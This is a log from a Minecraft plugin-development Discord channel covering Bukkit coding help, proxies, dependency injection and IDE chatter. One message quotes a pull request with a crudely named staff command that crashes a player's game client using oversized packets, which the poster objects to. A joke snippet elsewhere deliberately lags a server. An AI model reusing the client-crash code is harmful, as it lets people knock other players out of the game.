#dev-general
1 messages · Page 621 of 1
I hate when I find a good video only to see its a "short"
idk. shorts just don't do it for me. like its so much bad content to find that 1 good video that will end very fast. I'd rather scroll the same time on youtube main page to find a good 5-20 minutes video
yeap
youtube is a waste of time and energy
naw
hi guys i am cheking source code and i want to know wath this mean:
private static final String[] pTo;
pTo[3072 >>> 7241]
i want to know wath mean the '>>>'
Unsigned right shift
me and another person want to work on the same plugin thats on github, what would be the process so that we can both work on the same project without fucking up eachothers work?
im never worked on something with someone else before and up to this point i always commited and pushed to master when ive made any major changes
can you guys recommend me a browser extension for page translation? one that works on firefox btw.
Put the page link on google translate
I'm sorry what? this is cool af
I also found a translate addon that uses google translate but is unofficial
has 800k downloads so hopefully nothing bad xD
also 4.something rating
more convenient to have an extension already do it
although chrome/edge already does it

yo
i have a bug on my server
where even if keep inventroy is set to false
players are keeping their inventories when they die
any plugin you think overrides this?
#general-plugins is probably more apt channel for that
Uh, so I suppose we all know that packages should be lowercased, methods lowerCamelCase, etc. But one thing I couldn't find is, is there a "good practice" for NamespacedKey names?
camelCase probs
Afaik mojang uses UpperCamelCase so I’d stick with that
Ok Ty
that's called PascalCase thank you very much
camelCase, PascalCase, snake_case, kebab-case
Also called UpperCamelCase lol
yeah if you're a chump
What
you know what i said
They’re literally both correct, idk why you’re so fucking pedantic over something that wasn’t even wrong
okay chump
Why would you be a chump just because you use one over the other smh
you tell me, you're the chump
How?
Sus
that's what im saying
Well literally both are equally correct, it’s not being a chump at all if you’d prefer latter or former
i wouldn't say equally correct
They’re tho? Both mean the same
UpperCamelCase occurs just so often as PascalCase occurs
I don't believe that's true
I believe that’s very true
you're the first person I've seen say UpperCamelCase
Interesting because Python calls it upper in abbreviation for it, Java calls toUpperCase, and well if you want to include the camel both jackson and Gson use upper camel case and not pascal case
I’m far from the first person if anything lol
Oh yeah might be
as is Python's
well ignore those
But point persists, upper camel case isn’t less used than pascal case at all
You want more or what? Tell me where pascal case is used then?
this message was hilarious
I don’t know what you mean
Literally incorrect
welp, I’m out…
took ya long enough buddy
Even the spigot wiki uses upper and lower camel cases lol
for resource locations Mojang uses snake_case lol
Well, Choco's popular forum post talks about common mistakes with the usage of UpperCamelCase/lowerCamlCase schemes.
Oh fuck me as well thinking of something completely else
(Tho for stuff like pdc/nbt, think it’s upper camel case for key names)
for NBT pascal case used to be super common ages ago but nowadays new tags are camel case
but like Bukkit forces pdc through namespaced keys so like ¯\_(ツ)_/¯
I tend to use pascal case since looks cleanest I guess
nbt is anything but consistent with the name casing
it's actually kinda funny seeing {NoAI:1,carriedBlockState:{Name:"grass_block"}} for an enderman's nbt
it's just so inconsistent
and then sound/translation resource keys are separated.like.this 
and advancements be lookin like adventure/kill_a_mob
Just ban him
sadly enough not the owner of the server
Tell the owner to ban him
will enter in contact with the owner
🤦
😔
I'm so proud of myself rn. I just made a script to install redis-cli by building it from scratch, which can be run within a single line in a linux terminal.
Context: The redis-cli that you download through redis-tools package available on Ubuntu repo is very old, and the only easy way of getting the redis-cli was to download the entire redis-server package just to be able use an up-to-date redis-cli.
But now that's no more! This script will automatically download, build redis from scratch, install just the redis-cli, then get rid of all build files
Wow Github copilot works sometimes... I had written something like this before, but before i even started typing it suggested this
yes it works nicely sometimes. but sometimes its so bad
I still use it in Rider bcz I don't care but in IntelliJ I personally just disabled it
really? You dont like when it randomly spams hundreds of lines of nonsense?
lol
Really useful for something like prepared statements and sql queries tho
uh do minecraft GUIs title's support MiniMessage?
AKA hex colors?
It should?
Yes to bullying XD
wdym
Why are you using Permissible?
yeah, you are looking for CommandSender
CommandSender will work for both Player and ConsoleCommandSender?
void sendMessage(@NotNull String message)```
Sends this sender a message
message - Message to be displayed
¯_(ツ)_/¯
adventure was added to paper when?
which is it now
the gamemode?
ah
Does anybody know if there's out-of-the-box support for proxies like this:
fantastic drawing
Thanks
You want a proxy to send you to another proxy that sends you to a server within the second proxy?
Yes
Try SubServers
What is that
Proxy and server manager
Does that use two proxies
It can connect proxies (I think)
I am trying to keep things modularized and the best way to do that is to develop plugins for the sub-proxy that aren't related to the root proxy. I don't want them to share data at all and the sub proxy manages a gamemode that has multiple servers.
It's gotta be able to scale with K8s, which is why I wanted to modularize it
Well you can contact the author to see if that resource does what you want but if it doesn't you will likely have to create your own proxy management system. Would probs need to use docker or such.
Do you know if it's possible right now to have a proxy underneath another proxy?
I just don't want to start developing if I don't know that it will work
I've already got a k8s scaling system I wrote anyway so that would work
i think redisbungee does about what you're talking about where it proxies for bungee servers
Not sure. But like I said you can always ask the author of the resource.
you mean md5?
no, me1312
I’m not really asking about any resources or existing projects, I’m just asking if Bungee even has support for passing a player through to another Bungee server below it. I don’t plan to use any existing resources, I’m developing my own.
Strictly just Bungee/Velocity
Bungee even has support for passing a player through to another Bungee server below it
Not on its own
Ah so you’re saying that resource might add support
Thanks
That only synchronizes two horizontal proxies if I recall
My goal is to not share any data at all
Velocity has HAProxy support
Should allow you to do exactly that
Though generally Velocity can handle like more than a thousand players, but if you're gonna be above that then either do like different regions or look into HAProxy
HAProxy would be at the root level right? I've tried stacking velocity proxies and I was getting very odd errors.
Would HAProxy allow a user to connect through a proxy then connect to another proxy below that (then get forwarded to a gameserver)?
Yeah so it'd be like a pyramid, one HAProxy at the top, Velocity proxies below it, then Paper servers below that
Yes AFAIK
I looked into it a bit when I thought I might need multiple proxies but I realized that a thousand people was enough for me lol
My reason for having multiple vertical proxies is to modularize game servers. So there would be X number of root proxies, and then a 'Skyblock' proxy, and that 'Skyblock' proxy would have multiple different paper servers to distribute the load.
Creates a little bit of vertical complexity but heavily simplifies the horizontal part
Well so you have to have one single proxy that everyone connects to if you want them to be able to move servers
So everyone would have to connect to the HAProxy, then you can dish them out to a Velocity per gamemode or whatever
Ah I see. The issue I see with that is that I'd have to write a plugin for HAProxy (in C) that would handle switching players between servers
I'm not sure what you'd have to do as Velocity has native support for it
So yeah that's what I envision in my head
Yeah I guess the big question is how to move players between backend servers
How would I switch players from "Velocity for Lobby" to "Velocity for skyblock"
I was envisioning a root velocity for the network in place of the HAProxy
However, I was getting errors when trying to do that
I am definitely open to writing a custom solution with HAProxy instead of a root velocity
Yeah you can't stack velocitys as they do a bunch of minecraft stuff
I was really hoping you could
How does Hypixel do it then?
Afaik they have a root proxy (horizontally scaled to many), and when joining a Skywars game, you join a Skywars lobby under another proxy
From what I've heard which btw it might be 100% false lmao hypixel has some custom multi-proxy system written in nodejs lol
But that is as true as it is also false so
No doubt they 100% have a custom solution for all that stuff tho, such large networks do things no normal network should do
Yeah they have a thing called MasterControl but they won't give me the source
Well of course not lol
But in front of that is a bunch of Bungee instances
but I can't figure out what is in front of that
have you tried to say please?
Yeah
lmao
welp
Something like this might work
That looks promising for horizontal stacking
Uh so while making a plugin that supports multiple languages, you would have a lang file for each language's messages, my question is, how would it work for GUIs? Currently I have a guis.yml, but then they couldn't be translated (well they can, but they wouldn't have them by default)
Instead of the gui.yml holding text for items/title make it hold language keys
could you provide an example?
Also, wouldn't that be confusing for users? idk
Configurable GUI is already confusing for users
# en.yml
gui:
title: "Hello"
# pt.yml
gui:
title: "Ola"
# gui.yml
title: "gui.title"
- That's a fair statement
- Wouldn't that be twice the work? Users would have to be switching back and forth between files.
- Thoughts on just adding the gui configs to the lang file itself?
2 - No and yes, ofc they would need to change both if they wanted to have both customized, but if they don't want to touch the gui they can just change translation
3 - Sounds terrible
sounds good, will have to find a way to make this.
Mainly concerned about lores since those can have multiple lines.
and adding just "gui.lore" wouldn't be as good
What if I just don't give the option to change it in the gui.yml?
since you will change it in en.yml for example, why should I add an extra step
I could make gui.yml be used only to change position, materials, etc of items in the gui
or is that a bad idea?
Up to you how you want to implement that
For lores you can either point the key to a list or each line to a different key
And if you want it less configurable sure you can have it so they can't change those keys, would definitely be easier
Also you don't have to ping me on every reply
my bad, I forgot that was on, usually have it disabled
Can anyone help me, I keep getting the following error message:
"java.lang.IllegalArgumentException: Cannot set to an empty path".
if (new File(getDataFolder().getAbsolutePath()).mkdirs()) {
File file = new File(getDataFolder().getAbsolutePath() + "/config.yml");
YamlConfiguration configuration = YamlConfiguration.loadConfiguration(file);
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
configuration.set("test.", 0);
try {
configuration.save(file);
} catch (IOException e) {
e.printStackTrace();
}
}```
you have to do test
not test.
. is a separator between paths
so you have to either do test or test.subsection
Currently, "test." does not point to a correct path as mentioned by dkim.
By setting it to "test", the config will look like:
test: 0
By adding a sub section path "subsection", the config will look like:
test:
subsection: 0
@old wyvern skeson sounds like a skript library 🤣
lmao helpchat nft
why is that even a thing
Look at the date
Hey does someone know a method, to update the configuration?
I mean:
Plugin has old config, in the new version i added some new keys and how to check if they got updated.
And when i update the config, how should i keep the old values, which the user of the plugin has defined
set default values in whatever config system youre using
stuff that calls the bukkit api needs to be called on the main thread iirc
ah
why are you doing it through papi then lmao
just call the bukkit method directly
cut out the middleman
oh i see
not sure if the placeholders will work when the player goes offline
Does someone know why this line would cause a NPE?
line.setPrefix(ChatColor.translateAlternateColorCodes('&', lineString));
lineString is not null! Its executed in a for-loop
well either line or lineString is null
but when using a modern java version, it'll tell you exactly what's null
public void updateScoreBoard(Player player) {
if(instance.getPluginConfig().getScoreboardEnabled()) {
Scoreboard board = player.getScoreboard();
int listSize = instance.getPluginConfig().getScoreboardList().size()+1;
for(String string : instance.getPluginConfig().getScoreboardList()) {
String lineString = string
.replace("%online%", String.valueOf(Bukkit.getOnlinePlayers().size()))
.replace("%maxplayers%", String.valueOf(Bukkit.getMaxPlayers()))
.replace("%kills%",String.valueOf(instance.getStatsConfig().getKills(player.getUniqueId())))
.replace("%deaths%",String.valueOf(instance.getStatsConfig().getDeaths(player.getUniqueId())))
.replace("%kdr%",instance.getStatsConfig().getKDR(player.getUniqueId()));
listSize--;
Team line = board.getTeam("line" + listSize);
line.setPrefix(ChatColor.translateAlternateColorCodes('&', lineString));
}
}
}
this is the method it gets executed
I use 1.8.0 xd
that sucks
ja leider
aber ich habe keine andere möglichkeit gefunden für spigot 1.8
it says line is null
but why
probably because line is null
yes but i search why its null
Team line = board.getTeam("line" + listSize);
seeing the error message and the stack trace would help
what happens if no team exists with that name?
its null, yes
but the team exists / must exist
okay found why it is
the scoreboard was not set before, and this because i forgot one line in the onEnable
thanks for the help :)
xd i used it because of the pvp system
but i will switch up soon
well, whenever you switch, I would recommend doing it asap, and also, use MiniMessage 🙂
i am lost, what is MiniMessage ? xD
&-codes but actually good
PVP will always be the answer to that question lol
also a little more complicated tho
"Performances" 🤡
Yeah nah 

I know, i requested a lot help, but this is irritating me:
@EventHandler
public void playerCrouch(PlayerToggleSneakEvent event) {
if (instance.ready("playerSNEAK")) {
updateScoreBoard(event.getPlayer());
}
}
@EventHandler
public void onJoin(PlayerJoinEvent event) {
if (instance.ready("scoreboard playerjoin")) {
setScoreBoard(event.getPlayer());
for (Player player : Bukkit.getOnlinePlayers()) {
updateScoreBoard(player);
}
}
}
@EventHandler
public void onQuit(PlayerQuitEvent event) {
if (instance.ready("scoreboard quit")) {
for (Player player : Bukkit.getOnlinePlayers()) {
updateScoreBoard(player);
}
}
}
The 1. is ok
The second too
But the 3. doesnt to anything
Also no error
Does someone know Why?
The scoreboard is only getting updated after i crouch.
what is instance
JavaPlugin Class
what's the ready method then?
if the first required settings are set (spawn location etc
please share code
javaplugin class ?
this ready method
okay
public boolean ready(String className) {
if(pluginConfig.getDeathHeight() == -1 || pluginConfig.getSpawnHeight() == -1) {
return false;
}
if(pluginConfig.getDeathHeight() == pluginConfig.getSpawnHeight()) {
return false;
}
if(locationConfig.getSpawnLocation() == null) {
return false;
}
return true;
}
no it was for debugging
move this stuff into your pluginconfig class
ok
the purpose of ready is to enable the listeners and commands after everything got configured
that does not enable anything
no wait i show
okay enable is the wrong word
@EventHandler
public void blockPlace(BlockPlaceEvent event) {
if (instance.ready("blockplace")) {
if(!(instance.getBuilders().contains(event.getPlayer()))) {
event.setCancelled(true);
}
}
}
i mean its used for this
if the game is not ready, it will let this event, if the game is ready it will cancel
this was my thought
how do you define "ready"?
that method only checks config properties which are loaded before your event listeners get registered
it checks if the plugin is set up
like in the code, i want the spawn to be set and the both heights to be set, and if the values are set, it gives ready == true
when not
ready == false
they are set in the config, yes?
the location in the locations.yml and the two other values in the config, yes
you do not need that method
on your onEnable, load this stuff first, if it's all good then great, register your listeners
if not, either fall back to default values or throw an error and let the plugin fail to load
your config won't change unless you explicitly tell it to, so there's no point checking this stuff every time an event is fired
ok i will change
but i have the problem and i dont understand it ->
@EventHandler
public void onJoin(PlayerJoinEvent event) {
if (instance.ready("scoreboard playerjoin")) {
setScoreBoard(event.getPlayer());
for (Player player : Bukkit.getOnlinePlayers()) {
updateScoreBoard(player);
}
}
}
@EventHandler
public void onQuit(PlayerQuitEvent event) {
if(instance == null) {
Bukkit.getConsoleSender().sendMessage("instance == null");
}
if(instance.ready(" ")) {
}
if (instance.ready("scoreboard quit")) {
Bukkit.getConsoleSender().sendMessage("test");
for (Player player : Bukkit.getOnlinePlayers()) {
updateScoreBoard(player);
}
}
}
the upper one works, the other not. instance is not null, ready is true. any thoughts why ?
🥲
I meant it sort of like - Schematic Json
Hi guys, what do you think, what is best authentication method for REST API? (most comfortable for most developers)
depends on the situation
for an API for ur frontend, JWT, for a developer API use like API keys
Oauth is also pretty cool
oauth2
the ready method from what I understood is to check if the user enabled that "system" in the config
so the listener will only do anything if that's enabled
idk why he's doing it like that, he could just, not register the listener but ye
what should I answer to this guy?
For context: He's using .txt files to store data...
apparently yes
DOUBT
yeah a lot lol
json can store objects 
Oh dear
easier
tbh I'd just let them be
then one day they'll hit that hard brick wall by themselves 
Just call them dumb, say "your mom" and then move on

I personally just rewatched this to refresh some of my memory but it may be beneficial to just watch the entire thing.
MySQL tutorial for beginners - Learn MySQL, the world's most popular open source database.
🔥 Want to master MySQL? Get the full MySQL course: http://bit.ly/2uAoPM3
👍 Subscribe for more SQL tutorials like this: https://goo.gl/6PYaGF
⭐️Want to learn more from me? Check out these links:
Courses: https://codewithmosh.com
Twitter: https://twitter....
'a short review & tutorial' >:)
I simply just wrote notes to go back to if I forgot something.
Goes over most of everything from the video.
how do I fix my discord getting disabled
?not-discord
Looking for discord support?
HelpChat is a Minecraft plugin and development support server and is not affiliated with discord in any way.
If you require support from discord, we recommend you to visit their official support website at https://support.discord.com
On this website, you can read their FAQs, or open a support ticket if necessary.
@obtuse gale ^
thoughts on Traefik over Nginx for a reverse proxy?
iphone or blackberry
can anyone tell me where i can get a bedwars practice plugin like hypixel ?
uh SQLite and MySQL behave the same way right?
like, the way to select and insert are the same
the main difference is the connection?
k ty
random question, what's the average pay/hour on Java Plugin Development?
varies
The average is pretty hard, some people get well payed, others do it for very cheap or even free
Around $20/h is probably a good average for a big server
hmm ok ty
I'm finally looking into doing a bit of coding in TS, and I'm confused about package managers. What's the difference between npm and yarn? Or is there something else I should be looking at
Don't know enough about it to give good advice, I normally just use yarn, but maybe this will help https://stackoverflow.com/a/50278575
Hey boys this brotha need some help, so I’m trying to access a server but it won’t allow me due to the iOS age restriction, but my 18+ is on through my desktop version. Any ideas?
Sir this is a Minecraft discord

np ig lol
You have a good rest of your night
emily is cool like that
likewise
sure
uh
Elden ring
The new hit game
Hardest game on planet earth
Took the developers 1,000+ tries to beat the game
And they made the damn thing
To anyone who has a premium resource on SpigotMC, is there a "export buyer list" feature or similar?
noyesn't
yesno't
mayben't
Fun- is there a way to link paypal transactions to a buyer maybe?
¯_(ツ)_/¯
I've never had experience with a premium spigotmc resource- I only know what it's like on the buyer/customer's end.
As part of a project for June/July, I want to improve the verification process at BRC's Plugin Support since I am the primary bot developer.
Cause right now- It's just BRC doing a command to verify customers, I want to make something similar to HelpChat where a database is easily update and customers can verify anytime and instantly (when their data is added).
-verify @user (spigotmc profile link) (a/c/g/s/p - plugins purchased)
Obviously there is multiple ways of gong about it but understandably, BRC doesn't want to give me access to his spigotmc account.
It's a weird one, it's not he doesn't trust me per say- for example, I have admin perms in the discord and I started the server... but I think it's for the fact it's his identity and if I were to do anything on it, people would obviously assume it's him.
Additionally, he isn't crazy active- so whilst we've know each other since July 2019, there is still a bit of that "stranger" aspect if you will.
Yes
With spigot, no matter what you need access to the author account to access the buyers list or other data.
MC-Market allows you to have a public token to access certain features of their API.
I made a verification bot awhile ago but never finished/implemented it. But I just checked the transaction memo for the ID or the username of the purchaser. And then made them verify the email of the transaction.
Required access to the account is fine- I'm just wanting to make the system quick to update for BRC since the man is pretty busy most of the time.
So if there a form of data export, then I can just have him send the bot that- and the bot can process it, etc.
Only api spigot has is the one by Maxim (That I know of.)
https://github.com/Maximvdw/SpigotSite-API
But it requires constant access to the account.
Yeah, we previously used that- but it broke due to cloudflare last I heard.
Welp... Could always attempt your own. But be careful of spigots TOS since technically automation still isn't allowed.
https://www.spigotmc.org/wiki/spigot-rules/
4.4 Do not access the forums via automated mechanisms.
That is the forums lol
What do you call the discussions tab?
No, nobody here is a dev
i thought this is customer support xd
What? xD
about account cant log in
What account?
my discord account
This is not discord suppourt
thjey dont have live chat?
the fuck is this group then?
?not-discord kek
?not-discord
Looking for discord support?
HelpChat is a Minecraft plugin and development support server and is not affiliated with discord in any way.
If you require support from discord, we recommend you to visit their official support website at https://support.discord.com
On this website, you can read their FAQs, or open a support ticket if necessary.
yeah it did. that's why helpchat has to do it manually.
so basically manually adding every purchaser ID to a database
every 24 hours or so
That's what I am aiming to make.
and then you can just automatically look at someone's discord set on spigot. but I'm pretty sure it only accepts ascii or something like that so it breaks quite a few times
Just curious to know if there is a easy and fast way to transfer the data from spigot to a database.
cube made a fallback where admins can manually review
I know about the spigot profile stuff, I've worked with it before.
not that I know about currently.
How is the buyer's list order? by most recent purchase?
most recent
I believe so. I personally never had premium resources on spigot is just what I heard
Aight boys, time to make some image recognition system. It's screenshot time 
I'd assume many libraries exist for ocr
I mean still, you might not even be able to load the buyers page from a bot account bcz of anti bot protection
what's ocr?
ah
optical char recog
I'm jokingly saying BRC could just screenshot the page and yeet it into discord.
I mean maybe the paypal way might work? I've never worked with paypal's api tho so idk
but you guys said the buyer id is inside the message so you might be able to access it from there?
I did speak to BRC about that- there are some grey areas regarding access, but it is possible.
@wintry plinth What's your spigot profile username? lol
Octanna
Sounds like Sxtanna 
Y'all family? xD
@static zealot Ban this associate of Sxtanna 
jk, ily
Registered as well, more reasons to ban. 😛
My next question- did you register your company office as your home address?
Bet.
time to pay a visit?
Those are a familiar with SQL. Does the Permissions column look right for a BIT(1) type column?
The first one is 0 (false), and the other two are 1 (true).
There isn’t particularly anything wrong within a simple look…
Are u facing any issues?
No errors, just curious why the columns where empty.
^
No idea, how can I check?
1s and 0s
Looks good. 😄
Well- it works fine for me ig
i suppose this is a good time to switch to Postgres? lol
u can using bukkit schedulers
and Thread.sleep
creates fake load on the server
:)
Bukkit.getScheduler().runTaskTimer(plugin, Runnable {
Thread.sleep(40L)
}, 1L, 1L)
``` 😌
well
here it removes lag
so ig i misread what u typed
A
😭
that'll hang the server 💀
you forgot
Long.MAX_VALUE
if thats even a thing
Where would be the best place to hire a developer for a full plugin rework / recode
#959324360102019102 I suppose
please please please please please please please use a prepared statement
template strings are a sql injection speedrun
there's no reason not to use prepared statements anyway, they're good for performance too
😌
Looking at a PR for one of my custom plugins from a dev after I asked for a better way to handle banning cheaters from the network
And I see this
if (sender instanceof Player && !Permissions.isStaff((Player) sender)) {
sender.sendMessage(ChatColor.RED + "You need Staff status to use this command");
return;
}
if (args.length < 1) {
sender.sendMessage(ChatColor.RED + "/clientrape [name]");
return;
}
Player player = Bukkit.getPlayer(args[0]);
if (player == null) {
sender.sendMessage(ChatColor.RED + "Player '" + args[0] + "' not found");
return;
}
PlayerConnection playerConnection = ((CraftPlayer) player).getHandle().playerConnection;
playerConnection.sendPacket(new PacketPlayOutGameStateChange(7, Integer.MAX_VALUE));
playerConnection.sendPacket(new PacketPlayOutWorldParticles(EnumParticle.SMOKE_LARGE, true, 0, 0, 0, Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE));
sender.sendMessage(ChatColor.LIGHT_PURPLE + "Brutally raping " + args[0] + "'s client");
}```
sigh this is not what I meant
I- uh-
what did i just see
exactly
Why is using static to get the plugin's instance bad? (I don't use it, but trying to explain someone why he shouldn't lol)
Code?
wdym code?
it's just a general question
always got told to never use that
to always use dependency injection
it's tight coupling without dependency injection, therefore making the code much harder to test , and also can encourage your main class to become a god object, whereas you should just be injecting the specific dependencies
i didnt make it up, it's an actual thing
- makes code hard to unit test & refactor
- if you rely on it too much then your main class will become this massive object that holds a million different things with a million different methods
makes sense, ty
np
if u use a DI framework like guice you'll probably find that you only need to inject / use the main class when you need a plugin instance, eg things like the scheduler methods
what does guice do eaxctly? since isn't DI just passing the plugin variable in a constructor
which is like 3 lines of code 🥲
it's more about managing the instances
I was gonna write a whole ass paragraph on why DI frameworks are better than even DI without one but then I realized I never actually used one lol
💀
in part it's about managing instances but also even more abstraction and loose coupling if used appropriately
sure, but youve also got a bunch of different objects that sometimes need to be created and sometimes need to have a single instance, or they're created dynamically with a factory, or anything else
DI isn't just "haha constructor"
yeah just passing things through constructors is the least of uses of a DI framework
wait what do you mean by managing
what things is the key instead
what is in charge of creating instances of a certain class, which ones are singletons and provided by what
that kind of stuff
but what if i just use my main class for managing instances
ex plugin.getDataFile()
then use constructor to pass in plugin parameter
I mean sure you can do that, and now you're depending on the entire main plugin class to be passed when you only need a single File
A DI framework isn't going to fix that for you, that's on you to decide "should I depend on this or that" with or without guice
hmm
But it does encourage you to split things between classes much more because there's less boilerplate required
idk how but it does encourage you to write better code
you should have a
@FunctionalInterface
public interface DataFolderProvider extends Supplier<File> {
File getDataFolder();
default File get() { return getDataFolder(); }
}
and get your main plugin class to implement that, then depend on that instead
obviously
😵💫
No, make your main class return that
Composition over inheritance
Fucking dumbass idjot
sus
btw anyone else updated intellij to 2022 but it doesn't launch? :(
looks cool though
So much better than 2020
nvm its a plugin
hm what was 2020s?
Which plugin? All of mine worked fine after updating
not sure, moved all plugin folders out and it works
Oops, I meant to say 2021 mb
let not mention community 🤣
seems like its EduTools
Oh, never heard of that
Search for inlay hints
dkim19375
ty
yw
Really? I personally really like the change
There is no time to wait! Ask your question @obtuse gale!
Hard to help if you don't specify with what
oh
Put it on imgur if you want to send images
You won't be able to upload images here directly to avoid spam, so please use https://imgur.com/upload to upload images/screenshots.
You can also use a screenshot service like gyazo or jinx and post those links here.
They left kek
they kinda got timed out
roblox?
oooooh ij 2022 is out
Lucyyyy
tf I didn't get this update
🥲
do u use JB toolbox
it auto updated for me 😤
in IntelliJ?
ripp lol
ye
JetBrains Toolbox
hmm
splash screen for community. i remember someone asking earlier, idk who
it's cool
ultimate a little better
they look so much better than last time
mhm
just read the changelog lmao
that looks brighter than I remember
yeah same
Got it from google so probably edited or something
god so bad
what does intellij have that fleet doesn't?
jetbrains said fleet wouldn't replace any ide
but... ye
how are we supposed to know lmao
I mean you can probably install a shit ton of plugins to it too and basically use it as an ide
just like you can do the same with vscode
idk it looks a bit fancy
is it tho?
well I guess it is lol
when did they start advertising it as an IDE rather than a vscode competitor instead?
since the start
it's an alternative frontend to what is effectively the ij code engine
oh
so it's just intellij with a facelift
why is there so much hype around that then, is it because it doesn't run on swing? lol
bit more than that
it's like the google docs of ides with the whole distributed thing and collaboration
its a text editor with a button that can make it have ide auto completion, highlighting, etc
i think
it's also much more lightweight
so called smart mode
and brings all of the different jb ide's together
well
im still not sure about that
The frontend will still probably be more lightweight even with the engine mode
Well in terms of having support for them all out of the box
if it runs on electron I'm killing myself
besides that, they have years of experience with IDEs
lol
isn't electron bad for performance
i think
wait doesnt electron apps have to have the code in html/etc
source?
ex discord
source of what?
no she's saying that if it runs on electron
gb
tb
🇬🇧
we are safe
help I don't know what to cook tonight
i highly doubt it uses electron
pasta?
i swear it was written in Rust
maybe I'm just trippin
it has support for Rust natively though 😌
make 4 cheese pasta, good af.
might as well use a language that u made 🙃
maybe you are tripping regardless
JetBrains wishes they made Rust
Easy food recipes for dinner to make at home. cooking videos. How to make snacks for begginers and kids. Cream cheese pasta. A simple and quick food for lunch or dinner
written recipe: https://goo.gl/NnDFUt
SUBSCRIBE FOR MORE COOKING VIDEOS: http://goo.gl/M5HD3j
MORE MEALS DISHES: http://www.alleasyfoodrecipes.net/
Chef: Gorka Barredo
Song: ...
did it once
twice
a lot of times lol
good af.
well, no
that's not carbonara
buuut
you can do that
you can use ham instead of bacon
if ya want
eh not the same
Furthermore, Fleet uses Rust for the Fleet System Agent, which is a process that runs on the target machine. It is used to build the project, run code, execute terminal commands, and perform other actions in the target environment on behalf of Fleet.
YEAH BABY
I WASN'T TRIPPIN
With ham it's actually pretty good
what does Oracle even do
con people out of money for "support" and peddle a Java version that came out in 2014
reminded myself of this lol https://youtube.com/shorts/5LdMn4jW5Bs?feature=share
Does a custom created inventory get deleted after closing it, or does it exist?
And if it exists, is there a way to delete it?
it will "exist" so long as you save it yourself
in a field or a list or a map or whatever
sure that's fine
thanks
neither the server nor the client cares about how many inventories you create, you manage those yourself
i always mix up fleet and flutter
I have a feeling this isn’t a discord help server I meant to join...
Looking for discord support?
HelpChat is a Minecraft plugin and development support server and is not affiliated with discord in any way.
If you require support from discord, we recommend you to visit their official support website at https://support.discord.com
On this website, you can read their FAQs, or open a support ticket if necessary.
I like how on spigot javadocs are links to methods added on new versions (this was added to Enum on 12) and the link send you to java 8 docs xd
cool :D
Why can't I build with maven anymore it doesn't show up anymore, I haven't touched this for a while so I dunno what is happening
Also have Java 18 installed
I don't use Gradle on this project
I also downgraded to the community version
https://paste.helpch.at/ejicayovik.xml here is the pom.xml
https://i.imgur.com/aunxwGN.png
updated material theme ui... anyone know how to enable the "large" icons? looks like https://images-ext-1.discordapp.net/external/z4jbIfdpZScKvmVeQ1GJGsYQWSj-p-23WEc0_XOgY9E/https/i.imgur.com/KvqvuhB.png (second one is screenshot from yesterday)
`error: invalid target release: 1.18
Module JoyChat SDK 18 is not compatible with the source version 18.
Upgrade Module SDK in project settings to 18 or higher. Open project settings.
`
https://paste.helpch.at/ejicayovik.xml here is the pom.xml
Now I can't build it
any blender nerds
sounds like a maven problem
java.version doesn't include the "1." prefix since 9
1.18 without the 1. is 18, yes
Oh aight
why did they do that?
Maybe to reflect the change in update cycle?
Maybe they just wanted to be different
Who knows
There’s a JEP about it
Because they were like "oh shit what's 10 going to be? 2.0 or 1.10?" and decided to play with us and change it
kidding, no clue
anyone knows a persistentdata library?
sick of using namespacedkeys
and whatsoever
soo annoying
lmao

just store variables for the keys
or use nbt api
but it seems to be buggy if you're shading it and multiple plugins are shading it even if it's relocated for some reason sometimes
still a pain lul
this is the only other one that i can think of 🤷 but i'd recommend using pdc
may just create my own xD
using nms just so that u dont need to create variables 🤔
by this I mean, use persistendata, but make methods that are smaller and easier to use
hmm
actually 2-3 to set since u also have to set itemmeta
but getting is 1 line
or 3ish if you nullcheck meta
¯_(ツ)_/¯
pdc.set(new NamespaceKey(plugin, "IdkSomething"), PErsistentDataType.INTEGER, 1)
now imagine
pdc.set("IdkSomething", 1) xD
hmm
maybe the parameter would be a key instead of string though
I could change the PersistentDataType depending on the type I enter in the second input
then the key would be a variable in a class
I would create the namespacekey inside the method
why
write less and wouldn't need to pass the plugin instance each time
and instead only inject the Utility class
if that makes sense
🤔
wouldn't need to pass the plugin instance each time
either way u need plugin or another class instance
uh, fair I suppose, the write less still counts xD
what is this jetbrains, visual studio??
Very annoying, i turned it off
how
how.
Search for "inlay hints" on the settings and it's the "code vision" section
ty
When I set persistent data of something, does it write it to the player file directly for example?
it gets stored with the rest of the NBT so yes
It gets shoved in a {BukkitValues:{}} tag and is written to disk with the rest of the values
i think nbt is not ideal for public plugins because they'll remain if/when the user decides to remove the plugin, making it very hard to forcefully reset the state
Fair enough
pdc is okay
But ye as Ivan said, if the user removes it, data stays
i mean at worse it's a handful of kB of data
my plugin is giving an error where it can't download expansion what do i do?
private fun setLeastSignificantBitToOne(pixel: Int) = if (pixel % 2 == 0) pixel + 1 else pixel
```anyone know how this works?
then ```kt
Color(
setLeastSignificantBitToOne(r),
setLeastSignificantBitToOne(g),
setLeastSignificantBitToOne(b)
)
```turns each of the rgb to least signficant
but it seems like all it does is set the number to an odd number 🤔
and I don't understand it when I see this image:
if the least significant bit is zero (if the number is even), it sets it to one (by adding one, because 0 + 1 = 1)
if it's odd, then it already is set to one
this is literally the dumbest and least efficient way of doing pixel | 1
but how is that the least significant bit if all it is is just the bit?
whats the most significant bit then 🤔
the most significant bit is the right-most one (of each color.. section?)
but where do I set the bit to the right-most one in here
idk
what if pixel is 3
not 0 or 1
since i think it can be 0 -> 255
and 3 % 2 = 1
TY
np
but yeah, this honestly
#959324357090484294 message
@wind bolt
add build/ .idea/ .gradle/ FeelingLucky.imlto .gitignore then run ```bash
git rm -rf --cached .
git add .
build = caches from building, so not needed in the repo
.idea = IntelliJ stuff/settings, so shouldn't be needed (ig some cases if you want to share like run configurations and all that stuff there are stuff you can un-ignore in .gitignore, but if not you should ignore it all since it's IDE-specific stuff)
.gradle = pretty sure it's some gradle cache stuff
FeelingLucky.iml = IntelliJ project data - same reason as .idea
Ayo you go touch some grass
how to apply
for a job
my frnd send me link to here
but didnt told how to apply
i think you may be in the wrong place
sorry i got it
Does Bukkit Vector#multiply return the multiplied vector or the old one
/**
* Performs scalar multiplication, multiplying all components with a
* scalar.
*
* @param m The factor
* @return the same vector
*/
@NotNull
public Vector multiply(int m) {
x *= m;
y *= m;
z *= m;
return this;
}```
I LOVE MUTABLE VECTORS AND LOCATIONS
vectors and locations are mutable for some reason 🔍
